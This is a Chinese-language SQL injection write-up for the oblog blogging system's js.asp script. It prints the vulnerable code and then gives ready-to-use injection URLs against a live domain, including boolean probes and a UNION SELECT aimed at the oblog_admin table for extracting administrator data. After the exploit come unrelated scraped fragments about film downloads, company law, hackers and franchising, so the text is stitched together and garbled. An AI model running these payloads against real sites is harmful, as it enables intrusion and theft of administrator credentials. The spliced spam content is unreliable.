漏洞文件:js.asp
<%
Dim oblog
set oblog=new class_sys
oblog.autoupdate=False
oblog.start
dim js_blogurl,n
js_blogurl=Trim(oblog.CacheConfig(3))
n=CInt(Request(”n”))
if n=0 then n=1
select case CInt(Request(”j”))
case 1
call tongji()
case 2
call topuser()
case 3
call adduser()
case 4
call listclass()
case 5
call showusertype()
case 6
call listbestblog()
case 7
call showlogin()
case 8
call showplace()
case 9
call showphoto()
case 10
call showblogstars()
Case 11
Call show_hotblog()
Case 12
Call show_teams()
Case 13
Call show_posts()
Case 14
Call show_hottag()
case 0
call showlog()
end select
****************省略部分代码******************
Sub show_posts()
Dim teamid,postnum,l,u,t
teamid=Request(”tid”)
postnum=n
l=CInt(Request(”l”))
u=CInt(Request(”u”))
t=CInt(Request(”t”))
Dim rs,sql,sRet,sAddon
Sql=”select Top ” & postnum & ” teamid,postid,topic,addtime,author,userid From oblog_teampost Where idepth=0 and isdel=0 ”
If teamid<>“” And teamid<>“0″ Then
teamid=Replace(teamid,”|”,”,”)
Sql=Sql & ” And teamid In (” & teamid & “) ”
End If
Sql=Sql & ” order by postid Desc”
Set rs=oblog.Execute(Sql)
sRet=”
”
Do While Not rs.Eof
sAddon=”"
* sRet=sRet & “ ” & oblog.Filt_html(Left(rs(2),l)) & “”
If u=1 Then sAddon=rs(4)
if t=1 Then
If sAddon<>“” Then sAddon=sAddon & “,”
sAddon=sAddon & rs(3)
End If
If sAddon<>“” Then sAddon=”(” & sAddon & “)”
sRet=sRet & sAddon & “
”
rs.Movenext
Loop
Set rs = Nothing
sRet=sRet & “
”
Response.write oblog.htm2js (sRet,True)
End Sub
调用show_posts()过程必须要符合上面的参数n=1,j=13
(” & teamid & “)
http://www.oblog.com.cn/js.asp?n=1&j=13&tid=1
http://www.oblog.com.cn/js.asp?n=1&j=13&tid=1) and 1=1 and (1=1 返回正常
http://www.oblog.com.cn/js.asp?n=1&j=13&tid=1) and 1=1 and (1=2 返回异常
猜管理员表名
http://www.oblog.com.cn/js.asp?n=1&j=13&tid=1) and 查询语句 and (1=1
Sql=”select Top ” & postnum & ” teamid,postid,topic,addtime,author,userid From oblog_teampost Where idepth=0 and isdel=0 ”
http://www.oblog.com.cn/js.asp?n=1&j=13&tid=1) and 1=2 union select 1,2,3,4,5,6 from oblog_admin where id=(1
document.write('
本文目录一览: 1、求黑客帝国:矩阵重启海报最火网盘资源~高清的最好,谢谢!! 2、黑客帝国:矩阵重启在线高清观看免费完整版,求百度网盘资源 3、黑客帝国3:矩阵革命高清完整版下载 求黑客帝...
公司法人也就是法定代表人,其是代表公司行使权利的自然人,其以公司名义做出的行为是要公司承担法定责任的,公司的荣辱兴衰可谓是直接与其挂钩,其责任和重要性不言而喻,因此,当法人代表出现变化需要变更的时...
本文导读目录: 1、电脑被黑客侵入后会出现哪些现象? 2、黑客是谁发明出来的? 3、黑客的出现,对当今社会方方面面的影响有哪些. 4、黑客的来历是什么?他是哪个国家的? 5、大学生黑客...
虚岁17岁,周岁按照是否过了生日判定,若是过了生日,周岁为16岁。计较要领:中国在习惯上常用的年数计较要领,按出生后所经验的朱成虎日积年初计较,即生下来就算1岁。 弄付出宝用的 18周岁。...
本文导读目录: 1、求《阎王》by柳满坡txt!!!百度云!!!谢谢!!! 2、侠盗飞车血战唐人街 3、暗界神使里姜爻的真实身份是什么? 4、主角死后三言两语忽悠阎王,成了阎王小弟,阎王送...
加盟创业对付很多加盟者来说,是赚钱的要领之一。可是由于很多的加盟投资项目有着很明晰的划定只能开在经济富贵的多半会,所以对付很多糊口在小城镇中的加盟者就显得很是的不公正了,所以很多加盟者在加盟coco奶...